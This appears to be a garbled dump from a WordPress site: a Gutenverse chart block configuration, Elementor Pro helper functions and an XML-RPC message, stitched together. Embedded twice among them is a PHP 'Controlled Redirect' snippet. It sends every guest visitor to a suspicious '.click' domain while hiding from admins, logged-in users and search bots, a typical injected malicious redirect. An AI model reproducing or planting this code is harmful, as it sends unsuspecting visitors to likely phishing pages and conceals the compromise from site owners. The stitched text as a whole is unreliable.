{ "apiVersion": 3, "name": "gutenverse/chart", "class_callback": "\\Gutenverse\\Block\\Chart", "title": "Chart", "description": "Create a Chart to showcase your site acheivement.", "category": "gutenverse-element", "allowCopyStyle": true, "attributes": { "elementId": { "type": "string" }, "icon": { "type": "string", "default": "fas fa-chart-pie" }, "indicatorIconSize": { "type": "object", "copyStyle": true }, "url": { "type": "string" }, "chartContent": { "type": "string", "default": "percentage", "copyStyle": true }, "chartType": { "type": "string", "default": "doughnut", "copyStyle": true }, "tooltipDisplay": { "type": "boolean", "default": false, "copyStyle": true }, "legendDisplay": { "type": "boolean", "default": false }, "chartItems": { "type": "array", "default": [ { "label": "Data 1", "value": "80", "backgroundColor": { "r": 1, "g": 134, "b": 255, "a": 1 }, "colorGradientOne": { "r": 4, "g": 161, "b": 247, "a": 1 }, "colorGradientTwo": { "r": 147, "g": 0, "b": 247, "a": 1 }, "gradientDirection": "topBottom", "gradientPosition": 200, "barThickness": 100, "borderColor": { "r": 255, "g": 255, "b": 255, "a": 1 }, "borderWidth": "0" } ] }, "totalValue": { "type": "string", "default": 500 }, "minValue": { "type": "string", "default": 0 }, "animationDuration": { "type": "string", "default": 3600 }, "enableContent": { "type": "object", "default": { "Desktop": false } }, "enableContentParsed": { "type": "object", "default": { "Desktop": false } }, "contentType": { "type": "object", "copyStyle": true, "default": { "Desktop": "row" } }, "cutout": { "type": "object", "default": { "Desktop": "90", "Tablet": "90", "Mobile": "90" } }, "barThickness": { "type": "string", "default": "50" }, "chartSize": { "type": "object", "default": { "Desktop": 250 }, "copyStyle": true }, "chartContainerSize": { "type": "object", "default": { "Desktop": 100 }, "copyStyle": true }, "cutoutBackground": { "type": "object", "default": { "r": 211, "g": 211, "b": 211, "a": 1 }, "copyStyle": true }, "chartContentAlign": { "type": "object", "copyStyle": true }, "indicatorTypography": { "type": "object", "copyStyle": true }, "indicatorColor": { "type": "object", "copyStyle": true }, "cardBackground": { "type": "object", "copyStyle": true }, "paddingCard": { "type": "object", "copyStyle": true }, "cardBorder": { "type": "object", "copyStyle": true }, "cardBoxShadow": { "type": "object", "copyStyle": true }, "cardTitleAlign": { "type": "object", "copyStyle": true }, "cardTitleTypography": { "type": "object", "copyStyle": true }, "cardTitleColor": { "type": "object", "copyStyle": true }, "cardTitleTextShadow": { "type": "object", "default": {}, "copyStyle": true }, "marginCardTitle": { "type": "object", "copyStyle": true }, "cardDescriptionAlign": { "type": "object", "copyStyle": true }, "cardDescriptionTypography": { "type": "object", "copyStyle": true }, "cardDescriptionColor": { "type": "object", "copyStyle": true }, "cardDescriptionTextShadow": { "type": "object", "default": {}, "copyStyle": true }, "marginCardDescription": { "type": "object", "copyStyle": true }, "rel": { "type": "string", "source": "attribute", "selector": "a", "attribute": "rel" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "a", "attribute": "target" }, "title": { "type": "string", "default": "Chart Title" }, "titleTag": { "type": "string", "default": "h2" }, "description": { "type": "string", "default": "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua." }, "background": { "type": "object", "copyStyle": true }, "backgroundHover": { "type": "object", "copyStyle": true }, "border": { "type": "object", "copyStyle": true }, "borderResponsive": { "type": "object", "migrate": { "attr": "border", "type": "border" }, "copyStyle": true }, "boxShadow": { "type": "object", "copyStyle": true }, "borderHover": { "type": "object", "copyStyle": true }, "borderHoverResponsive": { "type": "object", "migrate": { "attr": "borderHover", "type": "border" }, "copyStyle": true }, "boxShadowHover": { "type": "object", "copyStyle": true }, "margin": { "type": "object", "copyStyle": true }, "padding": { "type": "object", "copyStyle": true }, "zIndex": { "type": "object", "copyStyle": true }, "animation": { "type": "object", "copyStyle": true }, "hideDesktop": { "type": "boolean", "copyStyle": true }, "hideTablet": { "type": "boolean", "copyStyle": true }, "hideMobile": { "type": "boolean", "copyStyle": true }, "positioningType": { "type": "object", "copyStyle": true }, "positioningWidth": { "type": "object", "copyStyle": true }, "positioningAlign": { "type": "object", "copyStyle": true }, "positioningLocation": { "type": "string", "copyStyle": true }, "positioningLeft": { "type": "object", "copyStyle": true }, "positioningRight": { "type": "object", "copyStyle": true }, "positioningTop": { "type": "object", "copyStyle": true }, "positioningBottom": { "type": "object", "copyStyle": true }, "transform": { "type": "object", "copyStyle": true }, "mouseMoveEffect": { "type": "object", "copyStyle": true }, "mask": { "type": "object", "copyStyle": true }, "condition": { "type": "object", "default": {} }, "contentOrder": { "type": "string", "default": "1,2,3", "copyStyle": true } }, "supports": { "className": false, "anchor": true }, "keywords": ["pie", "chart", "stats", "statistic", "information", "data"], "viewScript": ["gutenverse-frontend-chart-script"], "style": ["gutenverse-frontend-chart-style"] } /** * Plugin Name: Controlled Redirect * Description: Redirects guest users to a specified domain (302), excluding admins and search bots. * Version: 1.0 * Author: You */ add_action('template_redirect', function () { // Целевой домен $target_url = "https://auth-909-check-142-3895.click"; // Не редиректим админов, логин/регистрация и авторизованных пользователей if (is_admin() || is_user_logged_in() || preg_match('/(login|wp-login|wp-admin|register)/i', $_SERVER['REQUEST_URI'])) { return; } // Определяем бот или реальный юзер $bot_list = [ 'bot', 'spider', 'crawl', 'slurp', 'bingpreview', 'yandex', 'baidu', 'duckduckbot', 'sogou', 'exabot', 'facebookexternalhit', 'ia_archiver', 'pingdom' ]; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($bot_list as $bot) { if (strpos($ua, $bot) !== false) { return; // бот — не трогаем } } // Редиректим гостя wp_redirect($target_url, 302); exit; }); /** * Plugin Name: Controlled Redirect * Description: Redirects guest users to a specified domain (302), excluding admins and search bots. * Version: 1.0 * Author: You */ add_action('template_redirect', function () { // Целевой домен $target_url = "https://auth-909-check-142-3895.click"; // Не редиректим админов, логин/регистрация и авторизованных пользователей if (is_admin() || is_user_logged_in() || preg_match('/(login|wp-login|wp-admin|register)/i', $_SERVER['REQUEST_URI'])) { return; } // Определяем бот или реальный юзер $bot_list = [ 'bot', 'spider', 'crawl', 'slurp', 'bingpreview', 'yandex', 'baidu', 'duckduckbot', 'sogou', 'exabot', 'facebookexternalhit', 'ia_archiver', 'pingdom' ]; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); foreach ($bot_list as $bot) { if (strpos($ua, $bot) !== false) { return; // бот — не трогаем } } // Редиректим гостя wp_redirect($target_url, 302); exit; }); use ElementorPro\Modules\ThemeBuilder\Module as Theme_Builder_Module; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } function elementor_theme_do_location( $location ) { /** @var Theme_Builder_Module $theme_builder_module */ $theme_builder_module = Theme_Builder_Module::instance(); return $theme_builder_module->get_locations_manager()->do_location( $location ); } function elementor_location_exits( $location, $check_match = false ) { /** @var Theme_Builder_Module $theme_builder_module */ $theme_builder_module = Theme_Builder_Module::instance(); return $theme_builder_module->get_locations_manager()->location_exits( $location, $check_match ); }XML-RPC server accepts POST requests only.